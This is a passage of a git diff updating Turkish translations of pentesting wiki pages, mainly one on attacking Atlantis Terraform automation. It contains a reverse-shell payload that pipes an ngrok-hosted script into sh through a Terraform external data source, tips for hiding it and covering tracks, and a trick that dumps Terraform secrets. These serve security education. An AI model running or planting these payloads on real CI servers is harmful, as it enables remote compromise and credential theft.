menüsüne erişim, Güvenlik menüsüne erişim, Roller Listesi menüsüne erişim, Kullanıcı İstatistikleri Grafiğinde okuyabilir, Kullanıcı İstatistikleri menüsüne erişim, Temel İzinler menüsüne erişim, Görünüm Menülerinde okuyabilir, Görünümler/Menüler menüsüne erişim, İzin Görünümlerinde okuyabilir, Görünümler/Menülerde İzin menüsüne erişim, MenuApi'de alabilir, Sağlayıcılarda menü erişimi, XCom'larda oluşturabilir]
+\[Connections üzerinde silme, Connections üzerinde okuma, Connections üzerinde düzenleme, Connections üzerinde oluşturma, DAG'ler üzerinde okuma, DAG'ler üzerinde düzenleme, DAG'ler üzerinde silme, DAG Çalışmaları üzerinde okuma, Görev Örnekleri üzerinde okuma, Görev Örnekleri üzerinde düzenleme, DAG Çalışmaları üzerinde silme, DAG Çalışmaları üzerinde oluşturma, DAG Çalışmaları üzerinde düzenleme, Denetim Günlükleri üzerinde okuma, ImportError üzerinde okuma, Havuzlar üzerinde silme, Havuzlar üzerinde okuma, Havuzlar üzerinde düzenleme, Havuzlar üzerinde oluşturma, Sağlayıcılar üzerinde okuma, Değişkenler üzerinde silme, Değişkenler üzerinde okuma, Değişkenler üzerinde düzenleme, Değişkenler üzerinde oluşturma, XComs üzerinde okuma, DAG Kodu üzerinde okuma, Yapılandırmalar üzerinde okuma, Eklentiler üzerinde okuma, Roller üzerinde okuma, İzinler üzerinde okuma, Roller üzerinde silme, Roller üzerinde düzenleme, Roller üzerinde oluşturma, Kullanıcılar üzerinde okuma, Kullanıcılar üzerinde oluşturma, Kullanıcılar üzerinde düzenleme, Kullanıcılar üzerinde silme, DAG Bağımlılıkları üzerinde okuma, İşler üzerinde okuma, Şifrem üzerinde okuma, Şifrem üzerinde düzenleme, Profilim üzerinde okuma, Profilim üzerinde düzenleme, SLA Kaçırmaları üzerinde okuma, Görev Günlükleri üzerinde okuma, Web Sitesi üzerinde okuma, Gözatmada menü erişimi, DAG Bağımlılıklarında menü erişimi, DAG Çalışmalarında menü erişimi, Belgelerde menü erişimi, Belgelerde menü erişimi, İşlerde menü erişimi, Denetim Günlüklerinde menü erişimi, Eklentilerde menü erişimi, SLA Kaçırmalarında menü erişimi, Görev Örneklerinde menü erişimi, Görev Örneklerinde oluşturma, Görev Örneklerinde silme, Admin'de menü erişimi, Yapılandırmalarda menü erişimi, Connections'da menü erişimi, Havuzlarda menü erişimi, Değişkenlerde menü erişimi, XComs'da menü erişimi, XComs üzerinde silme, Görev Yeniden Planlamaları üzerinde okuma, Görev Yeniden Planlamaları üzerinde menü erişimi, Tetikleyiciler üzerinde okuma, Tetikleyiciler üzerinde menü erişimi, Şifreler üzerinde okuma, Şifreler üzerinde düzenleme, Kullanıcıları Listelemede menü erişimi, Güvenlikte menü erişimi, Roller Listesinde menü erişimi, Kullanıcı İstatistikleri Grafiği üzerinde okuma, Kullanıcı İstatistiklerinde menü erişimi, Temel İzinlerde menü erişimi, Görünüm Menülerinde okuma, Görünümler/Menülerde menü erişimi, İzin Görünümlerinde okuma, Görünümler/Menülerde İzin üzerinde menü erişimi, MenuApi üzerinde alma, Sağlayıcılarda menü erişimi, XComs üzerinde oluşturma]
- **Op**
-\[Bağlantılarda silebilir, Bağlantılarda okuyabilir, Bağlantılarda düzenleyebilir, Bağlantılarda oluşturabilir, DAG'lerde okuyabilir, DAG'lerde düzenleyebilir, DAG'lerde silebilir, DAG Çalışmalarında okuyabilir, Görev Örneklerinde okuyabilir, Görev Örneklerinde düzenleyebilir, DAG Çalışmalarında silebilir, DAG Çalışmalarında oluşturabilir, DAG Çalışmalarında düzenleyebilir, Denetim Kayıtlarında okuyabilir, ImportError'da okuyabilir, Havuzlarda silebilir, Havuzlarda okuyabilir, Havuzlarda düzenleyebilir, Havuzlarda oluşturabilir, Sağlayıcılarda okuyabilir, Değişkenlerde silebilir, Değişkenlerde okuyabilir, Değişkenlerde düzenleyebilir, Değişkenlerde oluşturabilir, XCom'larda okuyabilir, DAG Kodunda okuyabilir, Yapılandırmalarda okuyabilir, Eklentilerde okuyabilir, DAG Bağımlılıklarında okuyabilir, İşlerde okuyabilir, Şifremde okuyabilir, Şifremde düzenleyebilir, Profilimde okuyabilir, Profilimde düzenleyebilir, SLA Kaçırmalarında okuyabilir, Görev Kayıtlarında okuyabilir, Web sitesinde okuyabilir, Gözat menüsüne erişim, DAG Bağımlılıkları menüsüne erişim, DAG Çalışmaları menüsüne erişim, Dokümantasyon menüsüne erişim, Belgeler menüsüne erişim, İşler menüsüne erişim, Denetim Kayıtları menüsüne erişim, Eklentiler menüsüne erişim, SLA Kaçırmaları menüsüne erişim, Görev Örnekleri menüsüne erişim, Görev Örneklerinde oluşturabilir, Görev Örneklerinde silebilir, Admin menüsüne erişim, Yapılandırmalar menüsüne erişim, Bağlantılar menüsüne erişim, Havuzlar menüsüne erişim, Değişkenler menüsüne erişim, XCom'larda silebilir]
+\[Connections üzerinde silme, Connections üzerinde okuma, Connections üzerinde düzenleme, Connections üzerinde oluşturma, DAG'ler üzerinde okuma, DAG'ler üzerinde düzenleme, DAG'ler üzerinde silme, DAG Çalışmaları üzerinde okuma, Görev Örnekleri üzerinde okuma, Görev Örnekleri üzerinde düzenleme, DAG Çalışmaları üzerinde silme, DAG Çalışmaları üzerinde oluşturma, DAG Çalışmaları üzerinde düzenleme, Denetim Günlükleri üzerinde okuma, ImportError üzerinde okuma, Havuzlar üzerinde silme, Havuzlar üzerinde okuma, Havuzlar üzerinde düzenleme, Havuzlar üzerinde oluşturma, Sağlayıcılar üzerinde okuma, Değişkenler üzerinde silme, Değişkenler üzerinde okuma, Değişkenler üzerinde düzenleme, Değişkenler üzerinde oluşturma, XComs üzerinde okuma, DAG Kodu üzerinde okuma, Yapılandırmalar üzerinde okuma, Eklentiler üzerinde okuma, DAG Bağımlılıkları üzerinde okuma, İşler üzerinde okuma, Şifrem üzerinde okuma, Şifrem üzerinde düzenleme, Profilim üzerinde okuma, Profilim üzerinde düzenleme, SLA Kaçırmaları üzerinde okuma, Görev Günlükleri üzerinde okuma, Web Sitesi üzerinde okuma, Gözatmada menü erişimi, DAG Bağımlılıklarında menü erişimi, DAG Çalışmalarında menü erişimi, Belgelerde menü erişimi, Belgelerde menü erişimi, İşlerde menü erişimi, Denetim Günlüklerinde menü erişimi, Eklentilerde menü erişimi, SLA Kaçırmalarında menü erişimi, Görev Örneklerinde menü erişimi, Görev Örneklerinde oluşturma, Görev Örneklerinde silme, Admin'de menü erişimi, Yapılandırmalarda menü erişimi, Connections'da menü erişimi, Havuzlarda menü erişimi, Değişkenlerde menü erişimi, XComs'da menü erişimi, XComs üzerinde silme]
- **User**
-\[DAG'lerde okuyabilir, DAG'lerde düzenleyebilir, DAG'lerde silebilir, DAG Çalışmalarında okuyabilir, Görev Örneklerinde okuyabilir, Görev Örneklerinde düzenleyebilir, DAG Çalışmalarında silebilir, DAG Çalışmalarında oluşturabilir, DAG Çalışmalarında düzenleyebilir, Denetim Kayıtlarında okuyabilir, ImportError'da okuyabilir, XCom'larda okuyabilir, DAG Kodunda okuyabilir, Eklentilerde okuyabilir, DAG Bağımlılıklarında okuyabilir, İşlerde okuyabilir, Şifremde okuyabilir, Şifremde düzenleyebilir, Profilimde okuyabilir, Profilimde düzenleyebilir, SLA Kaçırmalarında okuyabilir, Görev Kayıtlarında okuyabilir, Web sitesinde okuyabilir, Gözat menüsüne erişim, DAG Bağımlılıkları menüsüne erişim, DAG Çalışmaları menüsüne erişim, Dokümantasyon menüsüne erişim, Belgeler menüsüne erişim, İşler menüsüne erişim, Denetim Kayıtları menüsüne erişim, Eklentiler menüsüne erişim, SLA Kaçırmaları menüsüne erişim, Görev Örnekleri menüsüne erişim, Görev Örneklerinde oluşturabilir, Görev Örneklerinde silebilir]
+\[DAG'ler üzerinde okuma, DAG'ler üzerinde düzenleme, DAG'ler üzerinde silme, DAG Çalışmaları üzerinde okuma, Görev Örnekleri üzerinde okuma, Görev Örnekleri üzerinde düzenleme, DAG Çalışmaları üzerinde silme, DAG Çalışmaları üzerinde oluşturma, DAG Çalışmaları üzerinde düzenleme, Denetim Günlükleri üzerinde okuma, ImportError üzerinde okuma, XComs üzerinde okuma, DAG Kodu üzerinde okuma, Eklentiler üzerinde okuma, DAG Bağımlılıkları üzerinde okuma, İşler üzerinde okuma, Şifrem üzerinde okuma, Şifrem üzerinde düzenleme, Profilim üzerinde okuma, Profilim üzerinde düzenleme, SLA Kaçırmaları üzerinde okuma, Görev Günlükleri üzerinde okuma, Web Sitesi üzerinde okuma, Gözatmada menü erişimi, DAG Bağımlılıklarında menü erişimi, DAG Çalışmalarında menü erişimi, Belgelerde menü erişimi, Belgelerde menü erişimi, İşlerde menü erişimi, Denetim Günlüklerinde menü erişimi, Eklentilerde menü erişimi, SLA Kaçırmalarında menü erişimi, Görev Örneklerinde menü erişimi, Görev Örneklerinde oluşturma, Görev Örneklerinde silme]
- **Viewer**
-\[DAG'lerde okuyabilir, DAG Çalışmalarında okuyabilir, Görev Örneklerinde okuyabilir, Denetim Kayıtlarında okuyabilir, ImportError'da okuyabilir, XCom'larda okuyabilir, DAG Kodunda okuyabilir, Eklentilerde okuyabilir, DAG Bağımlılıklarında okuyabilir, İşlerde okuyabilir, Şifremde okuyabilir, Şifremde düzenleyebilir, Profilimde okuyabilir, Profilimde düzenleyebilir, SLA Kaçırmalarında okuyabilir, Görev Kayıtlarında okuyabilir, Web sitesinde okuyabilir, Gözat menüsüne erişim, DAG Bağımlılıkları menüsüne erişim, DAG Çalışmaları menüsüne erişim, Dokümantasyon menüsüne erişim, Belgeler menüsüne erişim, İşler menüsüne erişim, Denetim Kayıtları menüsüne erişim, Eklentiler menüsüne erişim, SLA Kaçırmaları menüsüne erişim, Görev Örnekleri menüsüne erişim]
+\[DAG'ler üzerinde okuma, DAG Çalışmaları üzerinde okuma, Görev Örnekleri üzerinde okuma, Denetim Günlükleri üzerinde okuma, ImportError üzerinde okuma, XComs üzerinde okuma, DAG Kodu üzerinde okuma, Eklentiler üzerinde okuma, DAG Bağımlılıkları üzerinde okuma, İşler üzerinde okuma, Şifrem üzerinde okuma, Şifrem üzerinde düzenleme, Profilim üzerinde okuma, Profilim üzerinde düzenleme, SLA Kaçırmaları üzerinde okuma, Görev Günlükleri üzerinde okuma, Web Sitesi üzerinde okuma, Gözatmada menü erişimi, DAG Bağımlılıklarında menü erişimi, DAG Çalışmalarında menü erişimi, Belgelerde menü erişimi, Belgelerde menü erişimi, İşlerde menü erişimi, Denetim Günlüklerinde menü erişimi, Eklentilerde menü erişimi, SLA Kaçırmalarında menü erişimi, Görev Örneklerinde menü erişimi]
- **Public**
diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md
index f9992b04f..5f9c4d0cf 100644
--- a/src/pentesting-ci-cd/atlantis-security.md
+++ b/src/pentesting-ci-cd/atlantis-security.md
@@ -1,43 +1,43 @@
-# Atlantis Security
+# Atlantis Güvenliği
{{#include ../banners/hacktricks-training.md}}
-### Basic Information
+### Temel Bilgiler
-Atlantis temelde git sunucunuzdan Pull Request'lerden terraform çalıştırmanıza yardımcı olur.
+Atlantis, temel olarak git sunucunuzdan Pull Request'lerden terraform çalıştırmanıza yardımcı olur.
.png>)
-### Local Lab
+### Yerel Laboratuvar
1. [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) adresindeki **atlantis sürüm sayfasına** gidin ve size uygun olanı **indirin**.
2. **github** kullanıcınız için bir **kişisel token** (repo erişimi ile) oluşturun.
-3. `./atlantis testdrive` komutunu çalıştırın ve **atlantis ile iletişim kurabileceğiniz bir demo repo** oluşturulacaktır.
-1. Web sayfasına 127.0.0.1:4141 adresinden erişebilirsiniz.
+3. `./atlantis testdrive` komutunu çalıştırın ve **atlantis ile konuşmak için** kullanabileceğiniz bir **demo repo** oluşturulacaktır.
+4. Web sayfasına 127.0.0.1:4141 adresinden erişebilirsiniz.
-### Atlantis Access
+### Atlantis Erişimi
-#### Git Server Credentials
+#### Git Sunucu Kimlik Bilgileri
-**Atlantis**, **Github**, **Gitlab**, **Bitbucket** ve **Azure DevOps** gibi birkaç git sunucusunu destekler.\
+**Atlantis**, **Github**, **Gitlab**, **Bitbucket** ve **Azure DevOps** gibi çeşitli git sunucularını destekler.\
Ancak, bu platformlardaki repo'lara erişmek ve işlemler gerçekleştirmek için bazı **ayrıcalıklı erişimlerin verilmesi** gerekir (en azından yazma izinleri).\
-[**Belgeler**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional), Atlantis için bu platformlarda özel bir kullanıcı oluşturulmasını teşvik eder, ancak bazı kişiler kişisel hesaplar kullanabilir.
+[**Belgeler**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional), Atlantis için bu platformlarda özel bir kullanıcı oluşturulmasını teşvik eder, ancak bazı insanlar kişisel hesaplar kullanabilir.
> [!WARNING]
-> Her durumda, bir saldırganın perspektifinden, **Atlantis hesabı** çok **ilginç** bir **hedef** olacaktır.
+> Her durumda, bir saldırgan perspektifinden, **Atlantis hesabı** çok **ilginç** bir **hedef** olacaktır.
-#### Webhooks
+#### Webhook'lar
-Atlantis, Git sunucunuzdan aldığı **webhook'ların** **geçerli** olduğunu doğrulamak için isteğe bağlı olarak [**Webhook gizli anahtarları**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) kullanır.
+Atlantis, Git sunucunuzdan aldığı **webhook'ların** **meşru** olduğunu doğrulamak için isteğe bağlı olarak [**Webhook gizli anahtarları**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) kullanır.
Bunu doğrulamanın bir yolu, **isteklerin yalnızca Git sunucunuzun IP'lerinden gelmesine izin vermek** olacaktır, ancak daha kolay bir yol Webhook Gizli Anahtarı kullanmaktır.
Özel bir github veya bitbucket sunucusu kullanmadığınız sürece, webhook uç noktalarını internete açmanız gerekecektir.
> [!WARNING]
-> Atlantis, git sunucusunun bilgi gönderebilmesi için **webhook'ları açıyor**. Bir saldırganın perspektifinden, **ona mesaj gönderebilir misiniz** bilmek ilginç olacaktır.
+> Atlantis, git sunucusunun bilgi gönderebilmesi için **webhook'ları açığa çıkaracaktır**. Bir saldırgan perspektifinden, **ona mesaj gönderip gönderemeyeceğinizi** bilmek ilginç olacaktır.
-#### Provider Credentials
+#### Sağlayıcı Kimlik Bilgileri
[Belgelerden:](https://www.runatlantis.io/docs/provider-credentials.html)
@@ -45,29 +45,29 @@ Atlantis, **Atlantis'in barındırıldığı** sunucuda `terraform plan` ve `app
Atlantis'e belirli sağlayıcınız için [kimlik bilgilerini nasıl sağladığınız](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) size bağlıdır:
-- Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) ve [AWS Fargate Modülü](https://www.runatlantis.io/docs/deployment.html#aws-fargate) kendi kimlik bilgisi mekanizmalarına sahiptir. Belgelerini okuyun.
-- Atlantis'i bir bulutta çalıştırıyorsanız, birçok bulut, üzerinde çalışan uygulamalara bulut API erişimi verme yollarına sahiptir, örneğin:
-- [AWS EC2 Rolleri](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Arama "EC2 Rolü")
-- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
-- Birçok kullanıcı, Atlantis'in çalıştığı yerde ortam değişkenleri ayarlar, örn. `AWS_ACCESS_KEY`.
-- Diğerleri, Atlantis'in çalıştığı yerde gerekli yapılandırma dosyalarını oluşturur, örn. `~/.aws/credentials`.
+- Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) ve [AWS Fargate Modülü](https://www.runatlantis.io/docs/deployment.html#aws-fargate) kendi kimlik bilgileri mekanizmalarına sahiptir. Belgelerini okuyun.
+- Atlantis'i bir bulutta çalıştırıyorsanız, birçok bulut, üzerinde çalışan uygulamalara bulut API erişimi sağlama yollarına sahiptir, örneğin:
+- [AWS EC2 Rolleri](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (EC2 Rolü için arama yapın)
+- [GCE Instance Service Hesapları](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
+- Birçok kullanıcı, Atlantis'in çalıştığı yerde ortam değişkenleri ayarlar, örneğin `AWS_ACCESS_KEY`.
+- Diğerleri, Atlantis'in çalıştığı yerde gerekli yapılandırma dosyalarını oluşturur, örneğin `~/.aws/credentials`.
- Sağlayıcı kimlik bilgilerini elde etmek için [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) kullanın.
> [!WARNING]
> **Atlantis'in** **çalıştığı** **konteyner**, muhtemelen Atlantis'in Terraform aracılığıyla yönettiği sağlayıcılara (AWS, GCP, Github...) ait **ayrıcalıklı kimlik bilgilerini** içerecektir.
-#### Web Page
+#### Web Sayfası
-Varsayılan olarak Atlantis, **localhost'ta 4141 portunda bir web sayfası çalıştıracaktır**. Bu sayfa, atlantis apply'i etkinleştirip devre dışı bırakmanıza ve repo'ların plan durumunu kontrol etmenize ve kilidini açmanıza olanak tanır (şeyleri değiştirmeye izin vermez, bu yüzden çok faydalı değildir).
+Varsayılan olarak Atlantis, **localhost'ta 4141 numaralı portta bir web sayfası çalıştıracaktır**. Bu sayfa, yalnızca atlantis apply'i etkinleştirmenize/devre dışı bırakmanıza ve repo'ların plan durumunu kontrol etmenize ve kilidini açmanıza izin verir (değişiklik yapmanıza izin vermez, bu yüzden çok faydalı değildir).
-Muhtemelen internete açılmış olarak bulamayacaksınız, ancak varsayılan olarak **erişim için kimlik bilgisi gerekmediği** görünmektedir (ve eğer gerekirse `atlantis`:`atlantis` **varsayılan** olanlardır).
+Muhtemelen internete açılmış olarak bulamayacaksınız, ancak varsayılan olarak **erişim için kimlik bilgisi gerekmediği** görünmektedir (ve eğer gerekiyorsa `atlantis`:`atlantis` **varsayılan** olanlardır).
-### Server Configuration
+### Sunucu Yapılandırması
`atlantis server` yapılandırması, komut satırı bayrakları, ortam değişkenleri, bir yapılandırma dosyası veya bunların bir karışımı aracılığıyla belirtilebilir.
- Atlantis sunucusu tarafından desteklenen [**bayrakların listesini buradan bulabilirsiniz**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration)
-- Bir yapılandırma seçeneğini bir ortam değişkenine dönüştürmenin [**yolunu buradan bulabilirsiniz**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
+- [**Bir yapılandırma seçeneğini bir ortam değişkenine nasıl dönüştüreceğinizi buradan bulabilirsiniz**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
Değerler **bu sırayla seçilir**:
@@ -76,37 +76,37 @@ Değerler **bu sırayla seçilir**:
3. Yapılandırma Dosyası
> [!WARNING]
-> Yapılandırmada **tokenlar ve şifreler** gibi ilginç değerler bulabileceğinizi unutmayın.
+> Yapılandırmada, **token'lar ve şifreler** gibi ilginç değerler bulabileceğinizi unutmayın.
-#### Repos Configuration
+#### Repo Yapılandırması
Bazı yapılandırmalar, **repo'ların nasıl yönetildiğini** etkiler. Ancak, **her repo'nun farklı ayarlar gerektirmesi** mümkündür, bu nedenle her repo'yu belirtmenin yolları vardır. Öncelik sırası şudur:
1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) dosyası. Bu dosya, atlantis'in repo'yu nasıl ele alması gerektiğini belirtmek için kullanılabilir. Ancak, varsayılan olarak bazı anahtarların burada belirtilmesine izin verilmez.
-1. Muhtemelen `allowed_overrides` veya `allow_custom_workflows` gibi bayraklarla izin verilmesi gerekir.
-2. [**Sunucu Tarafı Yapılandırması**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): `--repo-config` bayrağı ile geçirebilirsiniz ve bu, her repo için yeni ayarları yapılandıran bir yaml'dır (regex desteklenir).
-3. **Varsayılan** değerler.
+2. `allowed_overrides` veya `allow_custom_workflows` gibi bayraklarla izin verilmesi muhtemeldir.
+3. [**Sunucu Tarafı Yapılandırması**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): `--repo-config` bayrağı ile geçirebilirsiniz ve bu, her repo için yeni ayarları yapılandıran bir yaml'dır (regex desteklenir).
+4. **Varsayılan** değerler.
-**PR Protections**
+**PR Koruma Önlemleri**
-Atlantis, **PR**'nin başka birisi tarafından **`onaylanmasını`** (bu, dal korumasında ayarlanmamış olsa bile) ve/veya **`birleştirilebilir`** (dal korumaları geçildi) olmasını belirtmenize olanak tanır **apply** çalıştırmadan önce. Güvenlik açısından, her iki seçeneği de ayarlamak önerilir.
+Atlantis, **PR**'nin başka birisi tarafından **`onaylanmasını`** (bu, dal korumasında ayarlanmamış olsa bile) ve/veya **`birleştirilebilir`** (dal korumaları geçildi) olmasını istemeniz durumunda, apply çalıştırmadan önce belirtmenize olanak tanır. Güvenlik açısından, her iki seçeneği de ayarlamak önerilir.
-`allowed_overrides` True olduğunda, bu ayarlar **her projede `/atlantis.yml` dosyası ile** **üstü kapatılabilir**.
+`allowed_overrides` True olduğunda, bu ayarlar **her projede `/atlantis.yml` dosyasıyla** **üst üste yazılabilir**.
-**Scripts**
+**Betikler**
-Repo yapılandırması, bir **iş akışı yürütülmeden önce** [**çalıştırılacak scriptleri**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) ve [**sonrasında**](https://www.runatlantis.io/docs/post-workflow-hooks.html) belirtmek için kullanılabilir.
+Repo yapılandırması, bir **iş akışı çalıştırılmadan önce** [**çalıştırılacak betikleri**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_ön iş akışı kancaları_) ve [**sonrasında**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_son iş akışı kancaları_) **belirtebilir**.
-**repo `/atlantis.yml`** dosyasında bu scriptleri **belirlemeye** izin veren herhangi bir seçenek yoktur.
+Bu betikleri **repo `/atlantis.yml`** dosyasında **belirtme** seçeneği yoktur.
-**Workflow**
+**İş Akışı**
-Repo yapılandırmasında (sunucu tarafı yapılandırması), [**yeni bir varsayılan iş akışı belirtebilirsiniz**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow) veya [**yeni özel iş akışları oluşturabilirsiniz**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Ayrıca, **oluşturulan yeni** iş akışlarına **erişebilecek** **repo'ları** da **belirtebilirsiniz**.\
-Ardından, her repo'nun **atlantis.yaml** dosyasının **kullanılacak iş akışını belirtmesine** izin verebilirsiniz.
+Repo yapılandırmasında (sunucu tarafı yapılandırması), [**yeni bir varsayılan iş akışı belirtebilirsiniz**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow) veya [**yeni özel iş akışları oluşturabilirsiniz**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Ayrıca, hangi **repo'ların** **oluşturulan yeni** iş akışlarına **erişebileceğini** de **belirtebilirsiniz**.\
+Daha sonra, her repo'nun **atlantis.yaml** dosyasının **kullanılacak iş akışını belirtmesine** izin verebilirsiniz.
> [!CAUTION]
-> Eğer [**sunucu tarafı yapılandırma**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) bayrağı `allow_custom_workflows` **True** olarak ayarlanmışsa, iş akışları her repo'nun **`atlantis.yaml`** dosyasında **belirlenebilir**. Ayrıca, **`allowed_overrides`**'ın **kullanılacak iş akışını** **üstü kapatacak şekilde** belirtmesi de muhtemelen gereklidir.\
-> Bu, **bu repo'ya erişebilen herhangi bir kullanıcıya Atlantis sunucusunda RCE verecektir**.
+> Eğer [**sunucu tarafı yapılandırma**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) bayrağı `allow_custom_workflows` **True** olarak ayarlanmışsa, iş akışları her repo'nun **`atlantis.yaml`** dosyasında **belirtilerek** **tanımlanabilir**. Ayrıca, **`allowed_overrides`**'ın da **`workflow`**'u **üst üste yazmak için** belirtmesi muhtemelen gereklidir.\
+> Bu, temelde **bu repo'ya erişebilen herhangi bir kullanıcıya Atlantis sunucusunda RCE verecektir**.
>
> ```yaml
> # atlantis.yaml
@@ -124,18 +124,18 @@ Ardından, her repo'nun **atlantis.yaml** dosyasının **kullanılacak iş akı
> steps: - run: my custom apply command
> ```
-**Conftest Policy Checking**
+**Conftest Politika Kontrolü**
Atlantis, plan çıktısına karşı **sunucu tarafında** [**conftest**](https://www.conftest.dev/) **politikalarını** çalıştırmayı destekler. Bu adımı kullanmanın yaygın kullanım durumları şunlardır:
- Bir modül listesinin kullanımını reddetmek
-- Bir kaynağın oluşturulma zamanında niteliklerini doğrulamak
+- Bir kaynağın oluşturulma zamanındaki niteliklerini doğrulamak
- İstemeden kaynak silmelerini yakalamak
- Güvenlik risklerini önlemek (örneğin, güvenli portları halka açmak)
Bunu nasıl yapılandıracağınızı [**belgelerde**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works) kontrol edebilirsiniz.
-### Atlantis Commands
+### Atlantis Komutları
[**Belgelerde**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) Atlantis'i çalıştırmak için kullanabileceğiniz seçenekleri bulabilirsiniz:
```bash
@@ -172,17 +172,17 @@ atlantis plan -- -lock=false
```
#### Atlantis plan RCE - Yeni PR'de Konfigürasyon Değişikliği
-Bir depoya yazma erişiminiz varsa, üzerinde yeni bir dal oluşturabilir ve bir PR oluşturabilirsiniz. Eğer **`atlantis plan`** komutunu **çalıştırabiliyorsanız (ya da belki otomatik olarak çalıştırılıyorsa)**, **Atlantis sunucusunda RCE yapabilirsiniz**.
+Bir depoya yazma erişiminiz varsa, üzerinde yeni bir dal oluşturabilir ve bir PR oluşturabilirsiniz. Eğer **`atlantis plan`** **komutunu çalıştırabiliyorsanız (ya da belki otomatik olarak çalıştırılıyorsa)** **Atlantis sunucusunda RCE yapabilirsiniz**.
-Bunu, [**Atlantis'in harici bir veri kaynağını yüklemesini sağlayarak**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) yapabilirsiniz. `main.tf` dosyasına aşağıdaki gibi bir yük yerleştirin:
+Bunu, [**Atlantis'in harici bir veri kaynağını yüklemesini sağlayarak**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) yapabilirsiniz. `main.tf` dosyasına aşağıdaki gibi bir payload ekleyin:
```json
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
-**Daha Gizli Saldırı**
+**Gizli Saldırı**
-Bu saldırıyı **daha gizli bir şekilde** gerçekleştirebilirsiniz, bu önerileri takip ederek:
+Bu saldırıyı daha **gizli bir şekilde** gerçekleştirebilirsiniz, bu önerileri takip ederek:
- Rev shell'i doğrudan terraform dosyasına eklemek yerine, rev shell'i içeren **harici bir kaynağı** **yükleyebilirsiniz**:
```javascript
@@ -190,14 +190,14 @@ module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
-You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
+Rev shell kodunu [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) adresinde bulabilirsiniz.
-- Dış kaynakta, **ref** özelliğini kullanarak **repo içindeki bir dalda terraform rev shell kodunu gizleyin**, şöyle bir şey: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
-- Atlantis'i tetiklemek için **master'a bir PR oluşturmak yerine**, **2 dal oluşturun** (test1 ve test2) ve birinden diğerine bir **PR oluşturun**. Saldırıyı tamamladıktan sonra, sadece **PR'yi ve dalları kaldırın**.
+- Dış kaynakta, **ref** özelliğini kullanarak repo içinde **bir dalda terraform rev shell kodunu gizleyin**, şöyle bir şey: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
+- **Master'a PR oluşturmak yerine** Atlantis'i tetiklemek için **2 dal oluşturun** (test1 ve test2) ve birinden diğerine **PR oluşturun**. Saldırıyı tamamladıktan sonra, sadece **PR'yi ve dalları kaldırın**.
-#### Atlantis plan Secrets Dump
+#### Atlantis plan Gizli Bilgileri Dökümü
-Terraform dosyasına şöyle bir şey koyarak `atlantis plan` (`terraform plan`) ile **terraform tarafından kullanılan gizli anahtarları dökebilirsiniz**:
+Terraform tarafından kullanılan **gizli bilgileri dökebilirsiniz** `atlantis plan` (`terraform plan`) komutunu çalıştırarak, terraform dosyasına şöyle bir şey koyarak:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
@@ -205,14 +205,14 @@ value = nonsensitive(var.do_token)
```
#### Atlantis apply RCE - Yeni PR'de Konfigürasyon Değişikliği
-Eğer bir depoya yazma erişiminiz varsa, yeni bir dal oluşturabilir ve bir PR oluşturabilirsiniz. Eğer **`atlantis apply` komutunu çalıştırabiliyorsanız, Atlantis sunucusunda RCE gerçekleştirebilirsiniz**.
+Bir depoya yazma erişiminiz varsa, üzerinde yeni bir dal oluşturabilir ve bir PR oluşturabilirsiniz. Eğer **`atlantis apply` komutunu çalıştırabiliyorsanız, Atlantis sunucusunda RCE gerçekleştirebilirsiniz**.
Ancak genellikle bazı korumaları aşmanız gerekecektir:
- **Birleştirilebilir**: Eğer bu koruma Atlantis'te ayarlanmışsa, yalnızca **PR birleştirilebilir olduğunda `atlantis apply` çalıştırabilirsiniz** (bu, dal korumasının aşılması gerektiği anlamına gelir).
